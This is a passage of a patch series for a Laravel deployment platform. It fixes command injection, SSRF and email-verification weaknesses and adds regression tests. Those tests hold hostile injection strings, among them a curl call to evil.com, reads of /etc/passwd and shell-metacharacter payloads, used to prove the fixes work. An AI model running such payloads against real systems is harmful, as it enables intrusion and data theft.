-describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('DeployController API Server IDOR', function () {
     test('deploy cancel API cannot access build server from another team', function () {
         // Create a deployment queue entry that references Team B's server as build_server
-        $application = \App\Models\Application::factory()->create([
+        $application = Application::factory()->create([
             'environment_id' => $this->environmentA->id,
             'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
             'destination_type' => StandaloneDocker::class,
         ]);
 
-        $deployment = \App\Models\ApplicationDeploymentQueue::create([
+        $deployment = ApplicationDeploymentQueue::create([
             'application_id' => $application->id,
-            'deployment_uuid' => 'test-deploy-' . fake()->uuid(),
+            'deployment_uuid' => 'test-deploy-'.fake()->uuid(),
             'server_id' => $this->serverA->id,
             'build_server_id' => $this->serverB->id, // Cross-team build server
-            'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+            'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
         ]);
 
         $token = $this->userA->createToken('test-token', ['*']);
 
         $response = $this->withHeaders([
-            'Authorization' => 'Bearer ' . $token->plainTextToken,
+            'Authorization' => 'Bearer '.$token->plainTextToken,
         ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
 
         // The cancellation should proceed but the build_server should NOT be found
@@ -176,7 +180,7 @@
         // Verify the deployment was cancelled
         $deployment->refresh();
         expect($deployment->status)->toBe(
-            \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
+            ApplicationDeploymentStatus::CANCELLED_BY_USER->value
         );
     });
 });
diff --git a/tests/Feature/HetznerApiTest.php b/tests/Feature/HetznerApiTest.php
index 3e8555b11..b5950f9fc 100644
--- a/tests/Feature/HetznerApiTest.php
+++ b/tests/Feature/HetznerApiTest.php
@@ -447,7 +447,7 @@
     });
 });
 
-describe('GHSA-m8wx-q63q-3w6c — error responses do not leak exception details', function () {
+describe('error responses do not leak exception details', function () {
     test('locations endpoint returns generic 500 message on upstream failure', function () {
         Http::fake([
             'https://api.hetzner.cloud/v1/locations*' => Http::response([
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
index 192ea8c8f..1e08ebbe7 100644
--- a/tests/Unit/FileStorageSecurityTest.php
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -92,7 +92,7 @@
         ->not->toThrow(Exception::class);
 });
 
-// --- Regression tests for GHSA-46hp-7m8g-7622 ---
+// --- Regression tests for file mount path validation ---
 // These verify that file mount paths (not just directory mounts) are validated,
 // and that saveStorageOnServer() validates fs_path before any shell interpolation.
 
diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php
index f82dcb863..f5245d819 100644
--- a/tests/Unit/GitRefValidationTest.php
+++ b/tests/Unit/GitRefValidationTest.php
@@ -4,7 +4,7 @@
 use App\Models\ApplicationSetting;
 
 /**
- * Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
+ * Tests for git ref validation.
  *
  * Ensures that git_commit_sha and related inputs are validated
  * to prevent OS command injection via shell metacharacters.
diff --git a/tests/Unit/InsecurePrngArchTest.php b/tests/Unit/InsecurePrngArchTest.php
index 3209ba0a0..1d5ce94bf 100644
--- a/tests/Unit/InsecurePrngArchTest.php
+++ b/tests/Unit/InsecurePrngArchTest.php
@@ -5,8 +5,6 @@
  *
  * mt_rand() and rand() are not cryptographically secure. Use random_int()
  * or random_bytes() instead for any security-sensitive context.
- *
- * @see GHSA-33rh-4c9r-74pf
  */
 arch('app code must not use mt_rand')
     ->expect('App')
diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php
index 5beef1a4b..9610f3351 100644
--- a/tests/Unit/LogDrainCommandInjectionTest.php
+++ b/tests/Unit/LogDrainCommandInjectionTest.php
@@ -5,7 +5,7 @@
 use App\Models\ServerSetting;
 
 // -------------------------------------------------------------------------
-// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
+// Verify log drain env values are base64-encoded
 // and never appear raw in shell commands
 // -------------------------------------------------------------------------
 
diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php
index 287045534..ed1d16bbf 100644
--- a/tests/Unit/PersistentVolumeSecurityTest.php
+++ b/tests/Unit/PersistentVolumeSecurityTest.php
@@ -6,7 +6,6 @@
  * Tests to ensure persistent volume names are validated against command injection
  * and that shell commands properly escape volume names.
  *
- * Related Advisory: GHSA-mh8x-fppq-cp77
  * Related Files:
  *  - app/Models/LocalPersistentVolume.php
  *  - app/Support/ValidationPatterns.php
diff --git a/tests/Unit/S3StorageEndpointValidationTest.php b/tests/Unit/S3StorageEndpointValidationTest.php
index 9ffba6a30..054606a25 100644
--- a/tests/Unit/S3StorageEndpointValidationTest.php
+++ b/tests/Unit/S3StorageEndpointValidationTest.php
@@ -8,14 +8,14 @@
 uses(TestCase::class);
 
 /**
- * Regression tests for GHSA-pwm4-w33c-wjf3 — SSRF via S3 Storage endpoint.
+ * Regression tests for SSRF via S3 Storage endpoint.
  *
  * The Livewire forms (Create.php, Form.php) and the model-level defense in
  * S3Storage::testConnection() share the same SafeWebhookUrl rule. These tests
- * assert the rule rejects the concrete payloads from the advisory PoC and
- * that the model refuses to build an S3 client for an unsafe endpoint.
+ * assert the rule rejects the concrete payloads and that the model refuses to
+ * build an S3 client for an unsafe endpoint.
  */
-it('rejects SSRF payloads from the GHSA-pwm4-w33c-wjf3 advisory', function (string $endpoint) {
+it('rejects SSRF payloads on the S3 endpoint', function (string $endpoint) {
     $validator = Validator::make(
         ['endpoint' => $endpoint],
         ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],

From 9b37a1a7eb98a9c7ee88d565f01a4ff50d529425 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 12:08:46 +0200
Subject: [PATCH 068/102] refactor(auth): drop implicit email verification on
 invitation link login

The invitation-link login path previously marked the account as
email-verified as a side effect of authenticating, without the user ever
proving control of the mailbox. Remove that branch so every account
goes through the standard signed-URL verification flow.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Http/Controllers/Controller.php           |  4 --
 .../LinkLoginEmailVerificationTest.php        | 60 +++++++++++++++++++
 2 files changed, 60 insertions(+), 4 deletions(-)
 create mode 100644 tests/Feature/LinkLoginEmailVerificationTest.php

diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php
index 17d14296b..a6b7f6440 100644
--- a/app/Http/Controllers/Controller.php
+++ b/app/Http/Controllers/Controller.php
@@ -94,10 +94,6 @@ public function link()
                 } else {
                     $team = $user->teams()->first();
                 }
-                if (is_null(data_get($user, 'email_verified_at'))) {
-                    $user->email_verified_at = now();
-                    $user->save();
-                }
                 Auth::login($user);
                 session(['currentTeam' => $team]);
 
diff --git a/tests/Feature/LinkLoginEmailVerificationTest.php b/tests/Feature/LinkLoginEmailVerificationTest.php
new file mode 100644
index 000000000..036584e1e
--- /dev/null
+++ b/tests/Feature/LinkLoginEmailVerificationTest.php
@@ -0,0 +1,60 @@
+<?php
+
+use App\Http\Middleware\CheckForcePasswordReset;
+use App\Http\Middleware\DecideWhatToDoWithUser;
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Crypt;
+use Illuminate\Support\Facades\Hash;
+use Illuminate\Support\Once;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+    Once::flush();
+    if (! InstanceSettings::find(0)) {
+        $settings = new InstanceSettings;
+        $settings->id = 0;
+        $settings->saveQuietly();
+    }
+});
+
+describe('invitation link login', function () {
+    test('does not auto-verify the email address', function () {
+        $team = Team::factory()->create();
+        $password = 'test-password-123';
+        $user = User::factory()->create([
+            'email' => 'invitee@example.com',
+            'password' => Hash::make($password),
+            'email_verified_at' => null,
+        ]);
+        $user->teams()->attach($team->id, ['role' => 'member']);
+
+        $token = Crypt::encryptString("{$user->email}@@@{$password}");
+
+        $this->get(route('auth.link', ['token' => $token]));
+
+        $user->refresh();
+        expect($user->email_verified_at)->toBeNull();
+    });
+
+    test('still logs the user in', function () {
+        $team = Team::factory()->create();
+        $password = 'test-password-123';
+        $user = User::factory()->create([
+            'email' => 'invitee2@example.com',
+            'password' => Hash::make($password),
+            'email_verified_at' => null,
+        ]);
+        $user->teams()->attach($team->id, ['role' => 'member']);
+
+        $token = Crypt::encryptString("{$user->email}@@@{$password}");
+
+        $this->get(route('auth.link', ['token' => $token]));
+
+        expect(auth()->id())->toBe($user->id);
+    });
+});

From 49b5472961dcd8d698d802c14a73671e8b44ad39 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 12:09:17 +0200
Subject: [PATCH 069/102] refactor(auth): upgrade email verification hash to
 sha256

Move the email-verification URL hash from sha1 to sha256 and verify it
directly in the controller using hash_equals, instead of going through
Laravel's EmailVerificationRequest (which only compares against sha1).
The signed URL still carries the authoritative HMAC; the hash upgrade
keeps the identity binding aligned with modern hashing guidance.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Http/Controllers/Controller.php         | 26 +++++++-
 app/Models/User.php                         |  2 +-
 tests/Feature/EmailVerificationHashTest.php | 73 +++++++++++++++++++++
 3 files changed, 97 insertions(+), 4 deletions(-)
 create mode 100644 tests/Feature/EmailVerificationHashTest.php

diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php
index a6b7f6440..6ce6b6d57 100644
--- a/app/Http/Controllers/Controller.php
+++ b/app/Http/Controllers/Controller.php
@@ -6,8 +6,8 @@
 use App\Models\TeamInvitation;
 use App\Models\User;
 use App\Providers\RouteServiceProvider;
+use Illuminate\Auth\Events\Verified;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
-use Illuminate\Foundation\Auth\EmailVerificationRequest;
 use Illuminate\Foundation\Validation\ValidatesRequests;
 use Illuminate\Http\Request;
 use Illuminate\Routing\Controller as BaseController;
@@ -39,9 +39,29 @@ public function verify()
         return view('auth.verify-email');
     }
 
-    public function email_verify(EmailVerificationRequest $request)
+    public function email_verify(Request $request)
     {
-        $request->fulfill();
+        if (! $request->hasValidSignature()) {
+            abort(403);
+        }
+
+        $user = auth()->user();
+        if (! $user) {
+            abort(403);
+        }
+
+        if (! hash_equals((string) $request->route('id'), (string) $user->getKey())) {
+            abort(403);
+        }
+
+        if (! hash_equals((string) $request->route('hash'), hash('sha256', $user->getEmailForVerification()))) {
+            abort(403);
+        }
+
+        if (! $user->hasVerifiedEmail()) {
+            $user->markEmailAsVerified();
+            event(new Verified($user));
+        }
 
         return redirect(RouteServiceProvider::HOME);
     }
diff --git a/app/Models/User.php b/app/Models/User.php
index 3199d2024..237f3836f 100644
--- a/app/Models/User.php
+++ b/app/Models/User.php
@@ -257,7 +257,7 @@ public function sendVerificationEmail()
             Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)),
             [
                 'id' => $this->getKey(),
-                'hash' => sha1($this->getEmailForVerification()),
+                'hash' => hash('sha256', $this->getEmailForVerification()),
             ]
         );
         $mail->view('emails.email-verification', [
diff --git a/tests/Feature/EmailVerificationHashTest.php b/tests/Feature/EmailVerificationHashTest.php
new file mode 100644
index 000000000..5d42c4e44
--- /dev/null
+++ b/tests/Feature/EmailVerificationHashTest.php
@@ -0,0 +1,73 @@
+<?php
+
+use App\Http\Middleware\CheckForcePasswordReset;
+use App\Http\Middleware\DecideWhatToDoWithUser;
+use App\Models\InstanceSettings;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\URL;
+use Illuminate\Support\Once;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+    Once::flush();
+    if (! InstanceSettings::find(0)) {
+        $settings = new InstanceSettings;
+        $settings->id = 0;
+        $settings->saveQuietly();
+    }
+});
+
+describe('email verification hash', function () {
+    test('sha256 hash is accepted and marks the user verified', function () {
+        $user = User::factory()->create([
+            'email' => 'verify-me@example.com',
+            'email_verified_at' => null,
+        ]);
+
+        $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+            'id' => $user->getKey(),
+            'hash' => hash('sha256', $user->getEmailForVerification()),
+        ]);
+
+        $this->actingAs($user)->get($url)->assertRedirect();
+
+        $user->refresh();
+        expect($user->email_verified_at)->not->toBeNull();
+    });
+
+    test('legacy sha1 hash is rejected', function () {
+        $user = User::factory()->create([
+            'email' => 'legacy-sha1@example.com',
+            'email_verified_at' => null,
+        ]);
+
+        $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+            'id' => $user->getKey(),
+            'hash' => sha1($user->getEmailForVerification()),
+        ]);
+
+        $this->actingAs($user)->get($url)->assertStatus(403);
+
+        $user->refresh();
+        expect($user->email_verified_at)->toBeNull();
+    });
+
+    test('tampered signature is rejected', function () {
+        $user = User::factory()->create([
+            'email' => 'tampered@example.com',
+            'email_verified_at' => null,
+        ]);
+
+        $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [
+            'id' => $user->getKey(),
+            'hash' => hash('sha256', $user->getEmailForVerification()),
+        ]);
+
+        $tampered = $url.'x';
+
+        $this->actingAs($user)->get($tampered)->assertStatus(403);
+    });
+});

From bb0c3501efedac884e1f9b8621406fa31ce98af7 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 12:09:30 +0200
Subject: [PATCH 070/102] refactor(cli): validate --date and escape shell args
 on logs:scheduled

Reject malformed --date values with a clear error before building any
shell command, and wrap every interpolated value (log paths, filter
expression, line count) in escapeshellarg() so filter options and date
values can no longer break out of the tail/grep pipeline.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Console/Commands/ViewScheduledLogs.php    | 30 ++++++++++------
 .../Feature/ScheduledLogsCommandInputTest.php | 35 +++++++++++++++++++
 2 files changed, 55 insertions(+), 10 deletions(-)
 create mode 100644 tests/Feature/ScheduledLogsCommandInputTest.php

diff --git a/app/Console/Commands/ViewScheduledLogs.php b/app/Console/Commands/ViewScheduledLogs.php
index 9ecf90716..b6e9a6121 100644
--- a/app/Console/Commands/ViewScheduledLogs.php
+++ b/app/Console/Commands/ViewScheduledLogs.php
@@ -28,6 +28,11 @@ class ViewScheduledLogs extends Command
     public function handle()
     {
         $date = $this->option('date') ?: now()->format('Y-m-d');
+        if (! preg_match('/^\d{4}-\d{2}-\d{2}$/', $date)) {
+            $this->error('Invalid date format. Use Y-m-d (e.g. 2025-01-31).');
+
+            return self::INVALID;
+        }
         $logPaths = $this->getLogPaths($date);
 
         if (empty($logPaths)) {
@@ -49,17 +54,19 @@ public function handle()
             $this->line('');
 
             if (count($logPaths) === 1) {
-                $logPath = $logPaths[0];
+                $logPath = escapeshellarg($logPaths[0]);
                 if ($filters) {
-                    passthru("tail -f {$logPath} | grep -E '{$filters}'");
+                    $escapedFilters = escapeshellarg($filters);
+                    passthru("tail -f {$logPath} | grep -E {$escapedFilters}");
                 } else {
                     passthru("tail -f {$logPath}");
                 }
             } else {
                 // Multiple files - use multitail or tail with process substitution
-                $logPathsStr = implode(' ', $logPaths);
+                $logPathsStr = implode(' ', array_map('escapeshellarg', $logPaths));
                 if ($filters) {
-                    passthru("tail -f {$logPathsStr} | grep -E '{$filters}'");
+                    $escapedFilters = escapeshellarg($filters);
+                    passthru("tail -f {$logPathsStr} | grep -E {$escapedFilters}");
                 } else {
                     passthru("tail -f {$logPathsStr}");
                 }
@@ -68,20 +75,23 @@ public function handle()
             $this->info("Showing last {$lines} lines of {$logTypeDescription} logs for {$date}{$filterDescription}:");
             $this->line('');
 
+            $escapedLines = escapeshellarg((string) $lines);
             if (count($logPaths) === 1) {
-                $logPath = $logPaths[0];
+                $logPath = escapeshellarg($logPaths[0]);
                 if ($filters) {
-                    passthru("tail -n {$lines} {$logPath} | grep -E '{$filters}'");
+                    $escapedFilters = escapeshellarg($filters);
+                    passthru("tail -n {$escapedLines} {$logPath} | grep -E {$escapedFilters}");
                 } else {
-                    passthru("tail -n {$lines} {$logPath}");
+                    passthru("tail -n {$escapedLines} {$logPath}");
                 }
             } else {
                 // Multiple files - concatenate and sort by timestamp
-                $logPathsStr = implode(' ', $logPaths);
+                $logPathsStr = implode(' ', array_map('escapeshellarg', $logPaths));
                 if ($filters) {
-                    passthru("tail -n {$lines} {$logPathsStr} | sort | grep -E '{$filters}'");
+                    $escapedFilters = escapeshellarg($filters);
+                    passthru("tail -n {$escapedLines} {$logPathsStr} | sort | grep -E {$escapedFilters}");
                 } else {
-                    passthru("tail -n {$lines} {$logPathsStr} | sort");
+                    passthru("tail -n {$escapedLines} {$logPathsStr} | sort");
                 }
             }
         }
diff --git a/tests/Feature/ScheduledLogsCommandInputTest.php b/tests/Feature/ScheduledLogsCommandInputTest.php
new file mode 100644
index 000000000..83f313d80
--- /dev/null
+++ b/tests/Feature/ScheduledLogsCommandInputTest.php
@@ -0,0 +1,35 @@
+<?php
+
+use App\Console\Commands\ViewScheduledLogs;
+use App\Http\Middleware\CheckForcePasswordReset;
+use App\Http\Middleware\DecideWhatToDoWithUser;
+use App\Models\InstanceSettings;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Once;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
+    Once::flush();
+    if (! InstanceSettings::find(0)) {
+        $settings = new InstanceSettings;
+        $settings->id = 0;
+        $settings->saveQuietly();
+    }
+});
+
+describe('logs:scheduled --date option', function () {
+    test('rejects a malformed date and exits before touching the shell', function () {
+        $this->artisan('logs:scheduled', ['--date' => '2025-01-01; touch /tmp/pwn'])
+            ->expectsOutputToContain('Invalid date format')
+            ->assertExitCode(ViewScheduledLogs::INVALID);
+
+        expect(file_exists('/tmp/pwn'))->toBeFalse();
+    });
+
+    test('accepts a well-formed date', function () {
+        $this->artisan('logs:scheduled', ['--date' => '2025-01-01'])
+            ->assertExitCode(0);
+    });
+});

From 03bf3d53536194c188d2ed708334403ddb85b5d9 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 13:11:28 +0200
Subject: [PATCH 071/102] fix(database): use && instead of || for conf
 null/empty checks
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`||` caused config volumes to mount even when conf was null,
since `!is_null(null)` is false but `!empty(null)` is true —
condition always evaluated to true.
---
 app/Actions/Database/StartKeydb.php   | 2 +-
 app/Actions/Database/StartMariadb.php | 2 +-
 app/Actions/Database/StartMysql.php   | 2 +-
 app/Actions/Database/StartRedis.php   | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php
index fe80a7d54..ec09b7392 100644
--- a/app/Actions/Database/StartKeydb.php
+++ b/app/Actions/Database/StartKeydb.php
@@ -166,7 +166,7 @@ public function handle(StandaloneKeydb $database)
             $docker_compose['volumes'] = $volume_names;
         }
 
-        if (! is_null($this->database->keydb_conf) || ! empty($this->database->keydb_conf)) {
+        if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) {
             $docker_compose['services'][$container_name]['volumes'] = array_merge(
                 $docker_compose['services'][$container_name]['volumes'] ?? [],
                 [
diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php
index 498ba0b0b..ceb1e8b85 100644
--- a/app/Actions/Database/StartMariadb.php
+++ b/app/Actions/Database/StartMariadb.php
@@ -175,7 +175,7 @@ public function handle(StandaloneMariadb $database)
             );
         }
 
-        if (! is_null($this->database->mariadb_conf) || ! empty($this->database->mariadb_conf)) {
+        if (! is_null($this->database->mariadb_conf) && ! empty($this->database->mariadb_conf)) {
             $docker_compose['services'][$container_name]['volumes'] = array_merge(
                 $docker_compose['services'][$container_name]['volumes'],
                 [
diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php
index 337516405..1b2b338d3 100644
--- a/app/Actions/Database/StartMysql.php
+++ b/app/Actions/Database/StartMysql.php
@@ -175,7 +175,7 @@ public function handle(StandaloneMysql $database)
             );
         }
 
-        if (! is_null($this->database->mysql_conf) || ! empty($this->database->mysql_conf)) {
+        if (! is_null($this->database->mysql_conf) && ! empty($this->database->mysql_conf)) {
             $docker_compose['services'][$container_name]['volumes'] = array_merge(
                 $docker_compose['services'][$container_name]['volumes'] ?? [],
                 [
diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php
index 70df91054..c31b099e4 100644
--- a/app/Actions/Database/StartRedis.php
+++ b/app/Actions/Database/StartRedis.php
@@ -181,7 +181,7 @@ public function handle(StandaloneRedis $database)
             );
         }
 
-        if (! is_null($this->database->redis_conf) || ! empty($this->database->redis_conf)) {
+        if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) {
             $docker_compose['services'][$container_name]['volumes'][] = [
                 'type' => 'bind',
                 'source' => $this->configuration_dir.'/redis.conf',

From 64753b41364010f5e8d539194a567feea1d1d520 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 13:06:55 +0200
Subject: [PATCH 072/102] fix(database): prevent command injection in
 healthcheck via CMD exec-form
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Replace CMD-SHELL string interpolation with CMD exec-form arrays in
healthcheck configs for PostgreSQL, Dragonfly, KeyDB, and ClickHouse.

CMD-SHELL passes the string to /bin/sh -c, allowing command injection
through user-controlled fields (username, password, dbname). CMD
exec-form bypasses the shell entirely — each value is a discrete argv
element.

Fixes GHSA-gvc4-f276-r88p.

Adds regression tests covering semicolon, pipe, backtick, $(),
background operator, redirect, newline, and null-byte injection vectors.
---
 app/Actions/Database/StartClickhouse.php      |   2 +-
 app/Actions/Database/StartDragonfly.php       |   2 +-
 app/Actions/Database/StartKeydb.php           |   2 +-
 app/Actions/Database/StartPostgresql.php      |   5 +-
 ...atabaseHealthcheckCommandInjectionTest.php | 107 ++++++++++++++++++
 5 files changed, 111 insertions(+), 7 deletions(-)
 create mode 100644 tests/Unit/DatabaseHealthcheckCommandInjectionTest.php

diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php
index 393906b9b..30cae71f1 100644
--- a/app/Actions/Database/StartClickhouse.php
+++ b/app/Actions/Database/StartClickhouse.php
@@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'",
+                        'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,
diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php
index cd820523d..addc30be4 100644
--- a/app/Actions/Database/StartDragonfly.php
+++ b/app/Actions/Database/StartDragonfly.php
@@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => "redis-cli -a {$this->database->dragonfly_password} ping",
+                        'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,
diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php
index ec09b7392..e59d6f697 100644
--- a/app/Actions/Database/StartKeydb.php
+++ b/app/Actions/Database/StartKeydb.php
@@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => "keydb-cli --pass {$this->database->keydb_password} ping",
+                        'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,
diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php
index 41e39c811..81cffeb94 100644
--- a/app/Actions/Database/StartPostgresql.php
+++ b/app/Actions/Database/StartPostgresql.php
@@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database)
                     ],
                     'labels' => defaultDatabaseLabels($this->database)->toArray(),
                     'healthcheck' => [
-                        'test' => [
-                            'CMD-SHELL',
-                            "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",
-                        ],
+                        'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'],
                         'interval' => '5s',
                         'timeout' => '5s',
                         'retries' => 10,
diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
new file mode 100644
index 000000000..b8c2b8a5d
--- /dev/null
+++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
@@ -0,0 +1,107 @@
+<?php
+
+/**
+ * Regression tests for GHSA-gvc4-f276-r88p.
+ *
+ * Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
+ * via user-controlled DB username/password/database fields. The fix converts all affected
+ * healthchecks to CMD exec-form arrays, which bypass the shell entirely.
+ */
+dataset('malicious_db_inputs', [
+    'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
+    'command substitution $()' => ['admin$(id > /tmp/pwned)'],
+    'backtick substitution' => ['admin`id > /tmp/pwned`'],
+    'pipe operator' => ['admin | cat /etc/passwd'],
+    'background operator' => ['admin & curl http://evil.com'],
+    'output redirect' => ['admin > /tmp/evil.txt'],
+    'newline injection' => ["admin\nid"],
+    'null byte' => ["admin\0id"],
+]);
+
+// ─── PostgreSQL ──────────────────────────────────────────────────────────────
+
+test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'psql'");
+});
+
+test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    // Simulate what StartPostgresql now generates
+    $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck[0])->not->toBe('CMD-SHELL');
+    // Malicious value is isolated as a single argv element — no shell interprets it
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── KeyDB ────────────────────────────────────────────────────────────────────
+
+test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'keydb-cli'");
+});
+
+test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Dragonfly ────────────────────────────────────────────────────────────────
+
+test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'redis-cli'");
+});
+
+test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── ClickHouse ───────────────────────────────────────────────────────────────
+
+test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'clickhouse-client'");
+});
+
+test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Verify unaffected databases still use their safe patterns ────────────────
+
+test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
+
+    // MySQL already used CMD array form — ensure it stays that way
+    expect($source)->toContain("'CMD', 'mysqladmin'");
+});
+
+test('mariadb healthcheck uses safe fixed script (no regression)', function () {
